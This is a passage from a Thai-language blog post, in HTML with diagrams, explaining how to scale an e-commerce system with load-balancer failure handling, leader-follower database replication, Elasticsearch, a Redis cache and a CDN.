720px"></figure><p>&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Load balancer &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE0A;&#xE19;&#xE4C;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; <strong>Failure Handling</strong> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2B;&#xE32;&#xE01; Application Server &#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE25;&#xE49;&#xE21;&#xE40;&#xE2B;&#xE25;&#xE27; Load balancer &#xE08;&#xE30;&#xE2A;&#xE48;&#xE07; Request &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Server &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2A;&#xE38;&#xE02;&#xE20;&#xE32;&#xE1E;&#xE14;&#xE35;&#xE43;&#xE2B;&#xE49;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE2A;&#xE39;&#xE07;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-4.png" class="kg-image" alt loading="lazy" width="1125" height="509" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-4.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-4.png 1000w, https://blog.pjjop.org/content/images/2024/07/diagram-4.png 1125w" sizes="(min-width: 720px) 720px"></figure><p>&#xE19;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Failure Handling &#xE41;&#xE25;&#xE49;&#xE27; Load balancer &#xE08;&#xE30;&#xE15;&#xE34;&#xE14;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE38;&#xE02;&#xE20;&#xE32;&#xE1E;&#xE02;&#xE2D;&#xE07; Application Server &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE30;&#xE22;&#xE30; &#xE46; &#xE41;&#xE25;&#xE30;&#xE19;&#xE4D;&#xE32;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Server &#xE40;&#xE02;&#xE49;&#xE32;&#xE41;&#xE25;&#xE30;&#xE2D;&#xE2D;&#xE01;&#xE08;&#xE32;&#xE01; List &#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE02;&#xE2D;&#xE07;&#xE21;&#xE31;&#xE19;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE38;&#xE02;&#xE20;&#xE32;&#xE1E;&#xE02;&#xE2D;&#xE07; Server &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE47;&#xE04; (<strong>Instance Health Check</strong>) &#xE17;&#xE4D;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE0B;&#xE2D;&#xE1F;&#xE15;&#xE4C;&#xE41;&#xE27;&#xE23;&#xE4C;&#xE44;&#xE21;&#xE48;&#xE2B;&#xE22;&#xE38;&#xE14;&#xE0A;&#xE30;&#xE07;&#xE31;&#xE01;&#xE08;&#xE32;&#xE01;&#xE21;&#xE38;&#xE21;&#xE21;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; &#xE41;&#xE21;&#xE49;&#xE08;&#xE30;&#xE21;&#xE35; Application Server &#xE1A;&#xE32;&#xE07;&#xE15;&#xE31;&#xE27;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE44;&#xE14;&#xE49; &#xE41;&#xE15;&#xE48;&#xE01;&#xE47;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Application Server &#xE41;&#xE1A;&#xE1A; Stateless &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE40;&#xE0A;&#xE48;&#xE19; Session &#xE40;&#xE2D;&#xE32;&#xE44;&#xE27;&#xE49;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Server &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32;&#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE15;&#xE48;&#xE2D; &#xE46; &#xE44;&#xE1B; &#xE2D;&#xE32;&#xE08;&#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE14;&#xE34;&#xE21;&#xE01;&#xE47;&#xE44;&#xE14;&#xE49;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-5.png" class="kg-image" alt loading="lazy" width="678" height="509" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-5.png 600w, https://blog.pjjop.org/content/images/2024/07/diagram-5.png 678w"></figure><p><strong><em>Separate DB read/write</em></strong><br>&#xE43;&#xE19;&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE18;&#xE38;&#xE23;&#xE01;&#xE34;&#xE08;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE02;&#xE22;&#xE32;&#xE22;&#xE02;&#xE19;&#xE32;&#xE14;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B; &#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE04;&#xE2D;&#xE02;&#xE27;&#xE14;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE32;&#xE01;&#xE0E;&#xE02;&#xE36;&#xE49;&#xE19; &#xE41;&#xE21;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Split Service &#xE41;&#xE25;&#xE30; Add load balancer &#xE41;&#xE25;&#xE49;&#xE27; Database &#xE19;&#xE48;&#xE32;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE41;&#xE23;&#xE01;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;</p><p>&#xE43;&#xE19; E-commerce Platform &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32; &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE1E;&#xE1A;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE25;&#xE48;&#xE32;&#xE0A;&#xE49;&#xE32;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32; &#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE04;&#xE2D;&#xE02;&#xE27;&#xE14;&#xE17;&#xE35;&#xE48; Database &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE19;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE21;&#xE37;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Query (Read Transaction) &#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01; &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; Write Transaction &#xE01;&#xE47;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE25;&#xE01;&#xE23;&#xE30;&#xE17;&#xE1A;&#xE08;&#xE32;&#xE01;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19; TPS (Transactions Per Second) &#xE23;&#xE27;&#xE21;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;</p><p>&#xE27;&#xE34;&#xE18;&#xE35;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE02;&#xE2D;&#xE02;&#xE27;&#xE14;&#xE02;&#xE2D;&#xE07; Database &#xE17;&#xE35;&#xE48;&#xE15;&#xE23;&#xE07;&#xE44;&#xE1B;&#xE15;&#xE23;&#xE07;&#xE21;&#xE32; &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Database Replication &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2A;&#xE33;&#xE40;&#xE19;&#xE32;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE0A;&#xE38;&#xE14; &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Server &#xE2B;&#xE23;&#xE37;&#xE2D; Node &#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xA0;&#xE15;&#xE31;&#xE27;</p><p>&#xE40;&#xE23;&#xE32;&#xE21;&#xE31;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; Leader-follower Replication Architecture &#xE17;&#xE35;&#xE48; Node &#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19; Leader &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; Node &#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE40;&#xE1B;&#xE47;&#xE19; Follower &#xE42;&#xE14;&#xE22; Leader Node &#xE08;&#xE30;&#xE23;&#xE31;&#xE1A;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE32;&#xE23; Insert, Update &#xE41;&#xE25;&#xE30; Delete &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE31;&#xE19;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE16;&#xE39;&#xE01;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; Read &#xE14;&#xE49;&#xE27;&#xE22; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE14;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Write &#xE1A;&#xE19; Leader Node &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE17;&#xE33;&#xE2A;&#xE33;&#xE40;&#xE19;&#xE32;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Follower Node</p><p>&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; Follower Node &#xE08;&#xE30;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23; Read &#xE04;&#xE27;&#xE1A;&#xE04;&#xE39;&#xE48;&#xE44;&#xE1B;&#xE01;&#xE31;&#xE1A; Leader Node</p><p>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE2A;&#xE33;&#xE40;&#xE19;&#xE32;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE2B;&#xE25;&#xE32;&#xE22; &#xE46; &#xA0;Node &#xE0A;&#xE48;&#xE27;&#xE22;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE19;&#xE17;&#xE32;&#xE19;&#xE15;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1C;&#xE34;&#xE14;&#xE1E;&#xE25;&#xE32;&#xE14; &#xE41;&#xE25;&#xE30;&#xE01;&#xE23;&#xE30;&#xE08;&#xE32;&#xE22;&#xE20;&#xE32;&#xE23;&#xE30;&#xE07;&#xE32;&#xE19;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Node &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE18;&#xE38;&#xE23;&#xE01;&#xE34;&#xE08;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE02;&#xE22;&#xE32;&#xE22;&#xE15;&#xE31;&#xE27;</p><p>&#xE41;&#xE15;&#xE48;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; Relational Database &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE44;&#xE21;&#xE48; Support &#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE41;&#xE1A;&#xE1A; Fuzzy &#xE04;&#xE23;&#xE31;&#xE1A; &#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE41;&#xE1A;&#xE1A; Fuzzy &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;&#xE41;&#xE21;&#xE49;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE1C;&#xE34;&#xE14;&#xE43;&#xE19;&#xE04;&#xE33;&#xE04;&#xE49;&#xE19; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE42;&#xE22;&#xE0A;&#xE19;&#xE4C;&#xE21;&#xE32;&#xE01;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE18;&#xE38;&#xE23;&#xE01;&#xE34;&#xE08;&#xE41;&#xE1A;&#xE1A; E-commerce Platform &#xE0B;&#xE36;&#xE48;&#xE07;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE04;&#xE27;&#xE23;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1E;&#xE1A;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE1A;&#xE04;&#xE39;&#xE48;&#xE04;&#xE33;&#xE04;&#xE49;&#xE19;&#xE01;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19; Database</p><p>&#xE42;&#xE14;&#xE22;&#xE2A;&#xE48;&#xE27;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19; Database &#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE16;&#xE39;&#xE01;&#xE17;&#xE33;&#xE2A;&#xE33;&#xE40;&#xE19;&#xE32;&#xE21;&#xE32;&#xE22;&#xE31;&#xE07; Full-text Search Engine &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; Elasticsearch &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE41;&#xE1A;&#xE1A; Fuzzy</p><p>&#xE17;&#xE31;&#xE49;&#xE07;&#xE19;&#xE35;&#xE49;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23; Scale Database &#xE14;&#xE49;&#xE27;&#xE22; Architecture &#xE41;&#xE1A;&#xE1A; Leader-follower Replication &#xE41;&#xE25;&#xE49;&#xE27; Application &#xE2A;&#xE48;&#xE27;&#xE19;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE04;&#xE27;&#xE23;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE16;&#xE36;&#xE07;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE41;&#xE2A;&#xE19;&#xE04;&#xE19;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/diagram-12.png" class="kg-image" alt loading="lazy" width="1289" height="1501" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/diagram-12.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/diagram-12.png 1000w, https://blog.pjjop.org/content/images/2024/07/diagram-12.png 1289w" sizes="(min-width: 720px) 720px"></figure><p><strong><em>Add cache</em></strong><br>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Application &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; E-commerce Platform &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Read &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Database &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE19;&#xE31;&#xE01; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07; Flash Sale &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Architecture &#xE41;&#xE1A;&#xE1A; Leader-follower Replication &#xE2D;&#xE32;&#xE08;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE31;&#xE1A;&#xE21;&#xE37;&#xE2D;&#xE01;&#xE31;&#xE1A; Traffic &#xE17;&#xE35;&#xE48;&#xE1E;&#xE38;&#xE48;&#xE07;&#xE2A;&#xE39;&#xE07;&#xE02;&#xE36;&#xE49;&#xE19;&#xE44;&#xE14;&#xE49;&#xE14;&#xE35; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Load &#xE2B;&#xE19;&#xE49;&#xE32;&#xE14;&#xE39;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE44;&#xE14;&#xE49; &#xE40;&#xE23;&#xE32;&#xE08;&#xE36;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; Cache Layer &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Read &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;</p><p>Redis &#xE40;&#xE1B;&#xE47;&#xE19; In-memory Cache &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE34;&#xE22;&#xE21;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE25;&#xE14;&#xE20;&#xE32;&#xE23;&#xE30;&#xE01;&#xE32;&#xE23; Read &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Database &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Caching &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE1A;&#xE48;&#xE2D;&#xE22;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE2B;&#xE25;&#xE31;&#xE01; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE23;&#xE47;&#xE27;&#xE43;&#xE19;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A; <strong>100 ns</strong> &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Database &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE1A;&#xE19; Disk &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE23;&#xE47;&#xE27;&#xE43;&#xE19;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A; <strong>1 ms </strong>&#xE0B;&#xE36;&#xE48;&#xE07;&#xE0A;&#xE49;&#xE32;&#xE01;&#xE27;&#xE48;&#xE32;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE32;&#xE01; Redis &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; In-memory Cache &#xE08;&#xE36;&#xE07;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE25;&#xE14; Load &#xE02;&#xE2D;&#xE07; Database Cluster &#xE41;&#xE25;&#xE30;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE42;&#xE14;&#xE22;&#xE23;&#xE27;&#xE21;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-11-at-6.10.31-AM.png" class="kg-image" alt loading="lazy" width="1390" height="1230" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-11-at-6.10.31-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-11-at-6.10.31-AM.png 1000w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-11-at-6.10.31-AM.png 1390w" sizes="(min-width: 720px) 720px"><figcaption>https://colin-scott.github.io/personal_website/research/interactive_latency.html</figcaption></figure><p>&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE1A;&#xE1A; Static Content &#xE40;&#xE0A;&#xE48;&#xE19; &#xE23;&#xE39;&#xE1B;&#xE20;&#xE32;&#xE1E; &#xE27;&#xE35;&#xE14;&#xE35;&#xE42;&#xE2D; &#xE41;&#xE25;&#xE30; Style Sheet &#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33; Caching &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE16;&#xE39;&#xE01; Update &#xE1A;&#xE48;&#xE2D;&#xE22; &#xE46; &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23; Content Delivery Network (CDN)</p><p>CDN Provider &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; <a href="https://www.cloudflare.com/?ref=blog.pjjop.org">Cloudflare</a> &#xE08;&#xE30;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23; Static Content 